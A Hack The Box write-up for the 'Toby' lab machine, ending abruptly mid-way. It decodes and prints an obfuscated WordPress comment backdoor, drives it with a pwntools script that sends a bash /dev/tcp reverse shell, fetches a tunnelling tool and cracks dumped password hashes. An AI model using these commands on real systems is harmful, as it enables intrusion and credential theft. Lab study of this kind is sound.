Hack The Box - Toby

000_info_card

Toby is an insane rated machine on HackTheBox created by InfoSecJack. For the user part we will first fuzz a vhost on a webserver running gogs, where we find the backup of a wordpress installation on another vhost. In the backup contains backdoor in the comment functionality which we will abuse to obtain a reverse shell on the wordpress docker container. There we find database credentials which lead to the hashes of the wordpress users. One of those hashes cracks which enables us to log into gogs and download 2 additional repositories. In the support database we find a hint which is usfull for the later root part. The personal-webapp repository contains the source of the webapp running inside another docker. With this we can make a mysql installation authenticate to us and capture its login hash. Reading the source code we can create a list of possible viable passwords and crack the hash. Using the password we can login to another docker with ssh. Monitoring for processes with pspy we will find a ssh key in a temporary file which enables us to log into the host. To obtain root we will abuse a timing based backdoor in the pam library of the machine to bruteforce the backdoor root password.

User

Nmap

As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
12
$ sudo nmap -p- -T4 10.129.228.82
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-07 09:38 UTC
Nmap scan report for 10.129.228.82
Host is up (0.043s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
10022/tcp open  unknown
10080/tcp open  amanda

Nmap done: 1 IP address (1 host up) scanned in 88.07 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ sudo nmap -p22,80,10022,10080 -sC -sV 10.129.228.82
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-07 09:41 UTC
Nmap scan report for 10.129.228.82
Host is up (0.034s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 87:ee:18:b2:5a:01:e3:ac:aa:5f:cb:37:59:2a:e6:4f (RSA)
|   256 3d:06:82:8a:ec:12:bd:c3:ec:fe:d5:ce:a0:f2:e6:b9 (ECDSA)
|_  256 d5:6e:9b:a2:7d:e0:1e:af:a3:8d:35:a8:7d:d9:22:74 (ED25519)
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Toby's Blog! \xF0\x9F\x90\xB4 – Just another WordPress site
|_http-generator: WordPress 5.7.2
|_http-server-header: nginx/1.18.0 (Ubuntu)
10022/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|   3072 65:8c:9b:89:64:85:ea:ad:d9:df:d0:fc:6c:d1:97:e5 (RSA)
|   256 25:5e:dd:7b:09:4f:d7:8a:8e:48:ee:f4:52:13:d4:85 (ECDSA)
|_  256 74:88:25:2d:3d:80:ab:03:b9:f9:03:fc:0a:37:f7:e9 (ED25519)
10080/tcp open  amanda?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gogs=23d995720f4001b7; Path=/; HttpOnly
|     Set-Cookie: _csrf=yyZCoJIlkobCDGFafRALAyf7zOw6MTYzNjI3ODEwNzg4NTM1NTIwMQ; Path=/; Domain=backup.toby.htb; Expires=Mon, 08 Nov 2021 09:41:47 GMT; HttpOnly
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Sun, 07 Nov 2021 09:41:47 GMT
|     <!DOCTYPE html>
|     <html>
|     <head data-suburl="">
|     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|     <meta http-euiv="X-UA-Compatible" content="IE=edge"/>
|     <meta name="author" content="Gogs" />
|     <meta name="description" content="Gogs is a painless self-hosted Git service" />
|     <meta name="keywords" content="go, git, self-hosted, gogs">
|     <meta name="referrer" content="no-referrer" />
|     <meta name="_csrf" content="yyZCoJIlkobCDGFafRALAyf7zOw6MTYzNjI3ODEwNzg
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     X-Content-Type-Options: nosniff
|     Date: Sun, 07 Nov 2021 09:41:48 GMT
|     Content-Length: 108
|_    template: base/footer:15:47: executing "base/footer" at <.PageStartTime>: invalid value; expected time.Time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10080-TCP:V=7.92%I=7%D=11/7%Time=61879F5A%P=x86_64-pc-linux-gnu%r(Gq
...[snip]...
SF:0\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.00 seconds

Backup

The nmap scan already leaks a vhost with backup.toby.htb on port 10080 and going to the worpress installation on port 80 we find another vhost in wordpress.toby.htb which we both add to our /etc/hosts file.

005_wp_home

backup.toby.htb is also reachable on port 80 and going to it reveals a gogs installation.

010_backup_home

Clicking on explore => users we see one user with the name toby-admin, but no repositories for him are listed.

015_toby_adm

Using gobuster we can fuzz for repositories of the user discovering a backup repo,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://backup.toby.htb/toby-admin
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://backup.toby.htb/toby-admin
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/07 09:48:49 Starting gobuster in directory enumeration mode
===============================================================
/backup               (Status: 200) [Size: 14131]
/Backup               (Status: 200) [Size: 14131]
...[snip]...

This repository seems to hold the backup of the wordpress installation runninig so we clone it to our machine to have a closer look at it.

020_toby_backup

1
2
3
4
5
6
7
8
$ git clone http://backup.toby.htb/toby-admin/backup.git
Cloning into 'backup'...
remote: Enumerating objects: 1613, done.
remote: Counting objects: 100% (1613/1613), done.
remote: Compressing objects: 100% (1433/1433), done.
remote: Total 1613 (delta 123), reused 1613 (delta 123)
Receiving objects: 100% (1613/1613), 10.80 MiB | 247.00 KiB/s, done.
Resolving deltas: 100% (123/123), done.

Wordpress backdoor

One of the few inputs we control in the wordpress installation is the comment functionality.

025_comment

Sending a request and intercepting with burp we see the php file which processes the request.

030_comment_burp

In this file the comment functionality gets handled byt the wp_handle_comment_submission function which is defined in another source file.

wp-comments-post.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
...[snip]...

$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
if ( is_wp_error( $comment ) ) {
	$data = (int) $comment->get_error_data();
	if ( ! empty( $data ) ) {
		wp_die(
			'<p>' . $comment->get_error_message() . '</p>',
			__( 'Comment Submission Failure' ),
			array(
				'response'  => $data,
				'back_link' => true,
			)
		);
	} else {
		exit;
	}
}

...[snip]...
?>

We search for the function definition with grep and find it in wp-includes/comment.php.

1
2
3
4
$ grep -ir wp_handle_comment_submission
wp-comments-post.php:$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
wp-includes/comment.php:function wp_handle_comment_submission( $comment_data ) {
wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:            * comment_content. See wp_handle_comment_submission().

In the function definition there is a rather suspicious looking bases64 blob which gets base64 decoded, rot13 decoded and eventually evaled.

comment.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
...[snip]...

function wp_handle_comment_submission( $comment_data ) {

	$comment_post_ID      = 0;
	$comment_parent       = 0;
	$user_ID              = 0;
	$comment_author       = null;
	$comment_author_email = null;
	$comment_author_url   = null;
	$comment_content      = null;

	if ( isset( $comment_data['comment_post_ID'] ) ) {
		$comment_post_ID = (int) $comment_data['comment_post_ID'];
	}
	if ( isset( $comment_data['author'] ) && is_string( $comment_data['author'] ) ) {
		$comment_author = trim( strip_tags( $comment_data['author'] ) );
	}
	if ( isset( $comment_data['email'] ) && is_string( $comment_data['email'] ) ) {
		$comment_author_email = trim( $comment_data['email'] );
	}
	if ( isset( $comment_data['url'] ) && is_string( $comment_data['url'] ) ) {
		$comment_author_url = trim( $comment_data['url'] );
	}
	if ( isset( $comment_data['comment'] ) && is_string( $comment_data['comment'] ) ) {
		$comment_content = trim( $comment_data['comment'] );
	}
	if ( isset( $comment_data['comment_parent'] ) ) {
		$comment_parent = absint( $comment_data['comment_parent'] );
	}

	// aded to validte  my ownemail against my  internal scrit
	// ba4fb13188ee48077524f9ac23c230250c5661aec9776389e8befbce277c72de - ignore
	eval(gzuncompress(str_rot13(base64_decode('[base64-blob]')));
	
...[snip]...
?>

Unpackeding the first layer it is packed again. Since we don’t know how many layers there will be it would make sense to automate the process. For this we first copy the eval blob from comment.php to a new file.

blob

1
eval(gzuncompress(str_rot13(base64_decode('[base64-blob]')));

Now we can use python to unpack it layer for layer. The script assumes that there is always an eval at the start of the blob and various ways to pack or encode the data afterwards. It first creates a valid php file with the blob and replacing the eval statement with echo. Then it executes the decoding, unpacking and redirects it to a new blob. This happens as long as there is another eval statement in the resulting blob.

unpack.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
from time import sleep

blob = open('./blob', 'r').read()

check = True
counter = 1

while check:
    check = False
    if 'eval' in blob:
        check = True
        script = open(f'./script{counter}.php', 'w')
        script.write('<?php\n')
        script.write(blob.replace('eval', 'echo'))
        script.write('\n')
        script.write('?>')
        script.close()
        print(f'Unpacking layer: {counter}')
        os.system(f'php ./script{counter}.php > blob{counter}')
        blob = open(f'./blob{counter}').read()
        counter += 1

Running the script 80 layers of packing get undone and we finally get readable code.

1
2
3
4
5
6
7
8
$ python unpack.py
Unpacking layer: 1
Unpacking layer: 2
Unpacking layer: 3
...[snip]...
Unpacking layer: 78
Unpacking layer: 79
Unpacking layer: 80
1
2
$ cat blob80
if($comment_author_email=="help@toby.htb"&&$comment_author_url=="http://test.toby.htb/"&&substr($comment_content,0,8)=="746f6279"){$a=substr($comment_content,8);$host=explode(":",$a)[0];$sec=explode(":",$a)[1];$d="/usr/bin/wordpress_comment_validate";include $d;wp_validate_4034a3($host,$sec);return new WP_Error('unspecified error');}

Prettying the code a bit up it looks like a backdoor in the wordpress comment functionality. When the email is help@toby.htb, the website http://test.toby.htb/ and the comment starts with 746f6279 the comment get’s split at :. Both resulting parts are sent to the wp_validate_4034a3 function, which seems to be included from /usr/bin/wordpress_comment_validate. We don’t have access to this piece of code so some guesswork is involved for how which part works. The host part seems to be pretty clear and might just work with an ip address. The sec part might contain any form of encryption key.

1
2
3
4
5
6
7
8
9
10
11
<?php
if($comment_author_email == "help@toby.htb" && $comment_author_url == "http://test.toby.htb/" && substr($comment_content, 0, 8) == "746f6279"){
  $a = substr($comment_content, 8);
  $host = explode(":", $a)[0];
  $sec = explode(":",$a)[1];
  $d = "/usr/bin/wordpress_comment_validate";
  include $d;
  wp_validate_4034a3($host, $sec);
  return new WP_Error('unspecified error');
}
?>

To see what happens on the network when we specify our ip as the host we start a tcpdump on our vpn interface.

1
2
3
$ sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

We fill in the required parameters to trigger the backdoor, input our ip for the host and something random for the sec part. When we submit the comment we intercept it with burp and send the request to repeater for further playing around with it.

035_backdoor_initial

In tcpdump we see that the target tries to initiate a connection to us on port 20053.

1
2
3
4
5
6
$ sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
...[snip]...
16:02:59.058438 IP toby.htb.44516 > 10.10.14.64.20053: Flags [S], seq 2220129346, win 64240, options [mss 1357,sackOK,TS val 592330033 ecr 0,nop,wscale 7], length 0
...[snip]...

To get more information we start a ncat listener on that port and send the request in repeater again.

1
2
3
4
$ nc -lnvp 20053
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::20053
Ncat: Listening on 0.0.0.0:20053

On the listener we get a connection but no data get’s sent.

1
2
3
4
5
6
$ nc -lnvp 20053
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::20053
Ncat: Listening on 0.0.0.0:20053
Ncat: Connection from 10.129.228.82.
Ncat: Connection from 10.129.228.82:44584.

The response in burp displays an error indicating that something in the php code might have caused an exception.

040_burp_error

The host parameter seems to be correct but maybe the sec parameter is causing the exception. Playing around with it listening with ncat again and sending the request over and over again we get some hex data sent to us with a sec parameter of 00. Later analysis of the source code for the backdoor shows that this is because it expects a xor encryption key in hex format for this parameter. Another interesting thing is that the request in burp hangs and the connection stays open as if the backdoor would wait for some input from our side.

045_burp_connect

1
2
3
4
5
6
7
$ nc -lnvp 20053
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::20053
Ncat: Listening on 0.0.0.0:20053
Ncat: Connection from 10.129.228.82.
Ncat: Connection from 10.129.228.82:44704.
7d20255b-f7b1-40f8-9e1f-86cac36bff6e|786f725f6b65793a34623435353935663530353234353436343935383566343735663462343535393566353335353436343634393538

Deocding the second part of the data that get’s sent to us we get a xor_key.

1
2
$ echo -n 786f725f6b65793a34623435353935663530353234353436343935383566343735663462343535393566353335353436343634393538 | xxd -r -p
xor_key:4b45595f5052454649585f475f4b45595f535546464958

Decoding the value of the xor key again we get KEY_PREFIX_G_KEY_SUFFIX where the middle letter changes with each request. With this we can make the assumption that this single letter is a xor key used for some functionality in the backdoor.

1
2
$ echo -n 4b45595f5052454649585f475f4b45595f535546464958 | xxd -r -p
KEY_PREFIX_G_KEY_SUFFIX

Since the connection stays open we use pwntools to send some data back on a connection and listen for the response. We also capture the initial xor key and decode it.

sendstuff.py

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = listen(20053)
io.wait_for_connection()

data = io.recvline().decode()

key = unhex(unhex(data.split('|')[1]).decode().split(':')[1])[11]
print(f'Key is: {key}')

io.sendline(b'a')
print(io.recvline())

We run the script and send the previous request in burp again. After sending random data on a connection we get a response back in the same format as previously.

1
2
3
4
5
6
$ python sendstuff.py
[+] Trying to bind to :: on port 20053: Done
[+] Waiting for connections on :::20053: Got connection from ::ffff:10.129.228.82 on port 46828
Key is: 69
b'cecd0898-aaac-4d85-b1d0-97b515ff0afe|2628217f\n'
[*] Closed connection to ::ffff:10.129.228.82 port 46828

The second part of it is some hex data which decrypts with the xor key we decoded to cmd:.

1
2
3
4
5
6
7
$ python
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> xor(unhex('2628217f'), 69)
b'cmd:'

It seems like it expects a command sent to it. To test it we modify our sendstuff.py to encrypt a reverse shell with the decoded xor_key and send it back to the target on connection.

sendstuff.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io = listen(20053)
io.wait_for_connection()

data = io.recvline().decode()

key = unhex(unhex(data.split('|')[1]).decode().split(':')[1])[11]
print(f'Key is: {key}')

command = b"bash -c 'bash -i >& /dev/tcp/10.10.14.64/7575 0>&1'"

io.sendline(xor(command, key))
print(io.recvline())

We set up a ncat listener on the port we specified and start our sendstuff.py.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
1
2
3
4
$ python sendstuff.py
[+] Trying to bind to :: on port 20053: Done
[+] Waiting for connections on :::20053: Got connection from ::ffff:10.129.228.82 on port 47898
Key is: 68

Shortly after sending the request in repeater again we get a reverse shell back on our listener which we upgrade using script since python is not available.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.228.82.
Ncat: Connection from 10.129.228.82:45954.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@wordpress:/var/www/html$ script -qc /bin/bash /dev/null
script -qc /bin/bash /dev/null
www-data@wordpress:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@wordpress:/var/www/html$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

www-data@wordpress:/var/www/html$ stty rows 55 cols 236

Database

In the wordpress docker container we find database credentials for the running wordpress installation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@wordpress:/var/www/html$ cat wp-config.php
<?php

...[snip]...

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'root' );

/** MySQL database password */
define( 'DB_PASSWORD', 'OnlyTheBestSecretsGoInShellScripts' );

/** MySQL hostname */
define( 'DB_HOST', 'mysql.toby.htb' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...[snip]...

There is no mysql client installed on the docker so we start a chisel server on our machine, transfer chisel to the target and start a client with a reverse socks proxy to us.

1
2
www-data@wordpress:/tmp$ mysql -u root -h mysql.toby.htb -p
bash: mysql: command not found
1
2
3
4
$ chisel server -p 9000 -reverse
2021/11/07 18:39:40 server: Reverse tunnelling enabled
2021/11/07 18:39:40 server: Fingerprint lek7/5Zt3VLhhwbGWNuO0WxRrjbBwuqdOG4Se4gQhvw=
2021/11/07 18:39:40 server: Listening on http://0.0.0.0:9000
1
2
3
4
5
6
7
8
9
www-data@wordpress:/tmp$ curl 10.10.14.64:8000/chisel -o chisel
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 8144k  100 8144k    0     0  3339k      0  0:00:02  0:00:02 --:--:-- 3340k
www-data@wordpress:/tmp$ chmod +x chisel
www-data@wordpress:/tmp$ ./chisel client 10.10.14.64:9000 R:socks &
[1] 8875
www-data@wordpress:/tmp$ 2021/11/07 18:40:42 client: Connecting to ws://10.10.14.64:9000
2021/11/07 18:40:42 client: Connected (Latency 33.594167ms)

Next we need the ip of the mysql installation which we can obtain using nslookup.

1
2
3
4
5
6
7
www-data@wordpress:/tmp$ nslookup mysql.toby.htb
Server:         127.0.0.11
Address:        127.0.0.11#53

Non-authoritative answer:
Name:   mysql.toby.htb
Address: 172.69.0.102

We make sure that our /etc/proxychains.conf contains the right configuration by having this line at the end and all other proxies commented out.

1
socks5      127.0.0.1 1080

Now we can login into mysql from our machine using proxychains and the credentials root:OnlyTheBestSecretsGoInShellScripts. Taking a look at the wordpress database we find hashes for the two users toby and toby-admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$ proxychains mysql -u root -h 172.69.0.102 -p
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2168
Server version: 8.0.26 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gogs               |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wordpress          |
+--------------------+
6 rows in set (0.034 sec)

MySQL [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.035 sec)

MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email          | user_url            | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
|  1 | toby       | $P$Bc.z9Qg7LCeVxEK8MxETkfVi7FdXSb0 | toby          | toby@toby.htb       | http://192.168.0.43 | 2021-07-08 12:00:13 |                     |           0 | toby         |
|  2 | toby-admin | $P$B3xHYCYdc8rgZ6Uyg5kzgmeeLlEMUL0 | toby-admin    | toby-admin@toby.htb | http://.            | 2021-08-28 18:17:33 |                     |           0 | . .          |
+----+------------+------------------------------------+---------------+---------------------+---------------------+---------------------+---------------------+-------------+--------------+
2 rows in set (0.034 sec)

hashes

1
2
toby:$P$Bc.z9Qg7LCeVxEK8MxETkfVi7FdXSb0
toby-admin:$P$B3xHYCYdc8rgZ6Uyg5kzgmeeLlEMUL0

Using hashcat, the hash for toby-admin cracks quickly to tobykeith1.

1
2
3
4
5
$ hashcat --user -m 400 -O -a 0 hashes rockyou.txt
hashcat (v6.2.4) starting
...[snip]...
$P$B3xHYCYdc8rgZ6Uyg5kzgmeeLlEMUL0:tobykeith1
...[snip]...
1
2
$ hashcat --user -m 400 --show hashes
toby-admin:$P$B3xHYCYdc8rgZ6Uyg5kzgmeeLlEMUL0:tobykeith1

Support messages

The credentials work to log into gogs and we have access to two private repositories now.

050_more_repos

To take a close look we clone them both to our machine starting with supportsystem-db.

1
2
3
4
5
6
7
8
9
$ git clone http://backup.toby.htb/toby-admin/supportsystem-db.git
Cloning into 'supportsystem-db'...
Username for 'http://backup.toby.htb': toby-admin
Password for 'http://toby-admin@backup.toby.htb':
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Unpacking objects: 100% (3/3), 1.06 KiB | 1.06 MiB/s, done.

This repository only contains a sqlite databse.

1
2
3
4
5
6
7
$ cd supportsystem-db/
$ ls -la
total 12
drwxr-xr-x 1 jack jack    42 Nov  7 18:51 .
drwxr-xr-x 1 jack jack    44 Nov  7 18:51 ..
drwxr-xr-x 1 jack jack   138 Nov  7 18:51 .git
-rw-r--r-- 1 jack jack 12288 Nov  7 18:51 support_system.db

There are 2 tables in the database enc_meta and support_enc. Looking at the schema and content for both of them we see support_enc contains encrypted support messages with a timestamp and the user. The enc_meta contains the corresponding encryption key, iv and encryption mode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ sqlite3 support_system.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
enc_meta     support_enc
sqlite> .schema enc_meta
CREATE TABLE enc_meta (
                                        enc_key TEXT NOT NULL,
                                        enc_iv TEXT NOT NULL,
                                        enc_mode TEXT NOT NULL
                        );
sqlite> select * from enc_meta;
a3f2c368548d89ef3b81fe8a3cb75bd0a7365d60b4d0dfa9271f451bd71acbd5|c02905262cef2acd6a4002226f08be02|AES-CBC
3c621a058be8c975fa95f7342832e0b3de6ff010514419c73c89da0b4449eec0|e716209dd10c3c4b32e5366372cfd917|AES-CBC
bb89aa0bdc765946bba46514e8c5ea5cdade26485f5daee74b28225dd1e22339|6e9d20d41bcfd75e595dd0a196301715|AES-CBC
sqlite> .schema support_enc
CREATE TABLE support_enc (
                                        user TEXT NOT NULL,
                                        support_submit_date INTEGER NOT NULL,
                                        enc_blob TEXT NOT NULL,
                                        enc_id INTEGER NOT NULL
                        );
sqlite> select * from support_enc;
jack@toby.htb|1630176122|8dadda77134736074501b69eef9eb21ffdb5d4827565ab9ce50587349325ca27de85c94f318293df5c15d5177ecdcf4876f90b57cce5cd81a61275ac24971fe9|1
jack@toby.htb|1630176122|740e66f585adae9d02d4003116ffb9082779744ab1c21c420c4dd2c1aa53f265db23958e2a6af21bed36d160844d7c99ce3ae0921b94476567148269c2ee93857e4f2798feb1118e9d17974ade1310a70ed6707acd3ccd92c211f30f86cc2febbf9ad2178b243a3cd4923529770f81dc76a923f39de902b08dfe8c97af64e2132e01b1e0ec62532604e2f932e6189c27a41cd833ee54536e515588d58deb4fa7ebddb9d6a827624aee18601b40f23c6002b40a2c99e417f8f26bb55783e38768|2
jack@toby.htb|1630176122|6292b9d69fed2672735a1b66a2cffe65|3

To decrypt it we decode the hex formatting and save the message in a file.

1
$ echo -n 8dadda77134736074501b69eef9eb21ffdb5d4827565ab9ce50587349325ca27de85c94f318293df5c15d5177ecdcf4876f90b57cce5cd81a61275ac24971fe9 | xxd -r -p > cipher1

Now we can use openssl to decrypt the message with the key, iv and mode. The first message doesn’t contain very useful information.

1
2
$ openssl enc -aes-256-cbc -d -nosalt -K a3f2c368548d89ef3b81fe8a3cb75bd0a7365d60b4d0dfa9271f451bd71acbd5 -iv c02905262cef2acd6a4002226f08be02 -in cipher1
This support system sucks, we need to change it!

Decrypting the second message reveals an interesting message though which will be useful in the later root stage of the machine.

1
$ echo -n 740e66f585adae9d02d4003116ffb9082779744ab1c21c420c4dd2c1aa53f265db23958e2a6af21bed36d160844d7c99ce3ae0921b94476567148269c2ee93857e4f2798feb1118e9d17974ade1310a70ed6707acd3ccd92c211f30f86cc2febbf9ad2178b243a3cd4923529770f81dc76a923f39de902b08dfe8c97af64e2132e01b1e0ec62532604e2f932e6189c27a41cd833ee54536e515588d58deb4fa7ebddb9d6a827624aee18601b40f23c6002b40a2c99e417f8f26bb55783e38768 | xxd -r -p > cipher2

The message states that authentication has been slower since an attack on the target.

1
2
$ openssl enc -aes-256-cbc -d -nosalt -K 3c621a058be8c975fa95f7342832e0b3de6ff010514419c73c89da0b4449eec0 -iv e716209dd10c3c4b32e5366372cfd917 -in cipher2
Hi, my authentication has been really slow since we were attacked. I ran some scanners as my user but didn't find anything out of the ordinary. Can an engineer please come and look?

The third message simply contains a pizza emoji.

1
$ echo -n 6292b9d69fed2672735a1b66a2cffe65 | xxd -r -p > cipher3
1
2
$ openssl enc -aes-256-cbc -d -nosalt -K bb89aa0bdc765946bba46514e8c5ea5cdade26485f5daee74b28225dd1e22339 -iv 6e9d20d41bcfd75e595dd0a196301715 -in cipher3
🍕

Personal-webapp

Since this didn’t help much yet to gain further access to the machine we clone the personal-webapp repository to our machine to have a close look at it aswell.

1
2
3
4
5
6
7
8
9
$ git clone http://backup.toby.htb/toby-admin/personal-webapp.git
Cloning into 'personal-webapp'...
Username for 'http://backup.toby.htb': toby-admin
Password for 'http://toby-admin@backup.toby.htb':
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 12 (delta 5), reused 0 (delta 0)
Unpacking objects: 100% (12/12), 4.32 KiB | 2.16 MiB/s, done.

Checking the git log there are is a later commit to the repository.

1
2
3
4
5
6
7
8
9
10
11
12
$ git log
commit 4dda252177ed70da1698dba380dbd2e521174dde (HEAD -> master, origin/master, origin/HEAD)
Author: toby <toby@toby>
Date:   Sat Aug 28 18:11:39 2021 +0000

    Fix static files

commit 7e56dd8aa6aed1ebf6e9b050af2c8a6e848c0107
Author: toby <toby@toby>
Date:   Sat Aug 28 18:10:20 2021 +0000

    Add all files for webapp

Diffing both commits we see it added a seed of the current time to the password generation utility.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ git diff 7e56dd8aa6aed1ebf6e9b050af2c8a6e848c0107 4dda252177ed70da1698dba380dbd2e521174dde
diff --git a/app.py b/app.py
index ef1d560..d47477c 100644
--- a/app.py
+++ b/app.py
@@ -9,7 +9,7 @@ import os
 import ipaddress
 from flask import *

-app = Flask(__name__, static_url_path="/static")
+app = Flask(__name__, static_folder="", static_url_path="/static")

 def validate_ip(ip):
         try:
@@ -42,6 +42,7 @@ def dbtest():
 @app.route("/api/password")
 def api_password():
        chars = string.ascii_letters + string.digits
+       random.seed(int(time.time()))
        password = ''.join([random.choice(chars) for x in range(32)])
        return Response(json.dumps({"password": password}), mimetype="application/json")

The next step is to find out where the web app is running. There are no networking tools installed on the docker but we can look at the arp cache and filter for non empty mac addresses.

1
2
3
4
5
6
7
www-data@wordpress:/$ cat /proc/net/arp | grep -v 00:00:00:00:00:00
IP address       HW type     Flags       HW address            Mask     Device
172.69.0.105     0x1         0x2         02:42:ac:45:00:69     *        eth0
172.69.0.102     0x1         0x2         02:42:ac:45:00:66     *        eth0
172.69.0.1       0x1         0x2         02:42:05:71:eb:f3     *        eth0
172.69.0.100     0x1         0x2         02:42:ac:45:00:64     *        eth0
172.69.0.104     0x1         0x2         02:42:ac:45:00:68     *        eth0

Doing a reverse lookup for all the ips, 172.69.0.104 sounds like it might run a webapp and checking for it port 80 is open.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
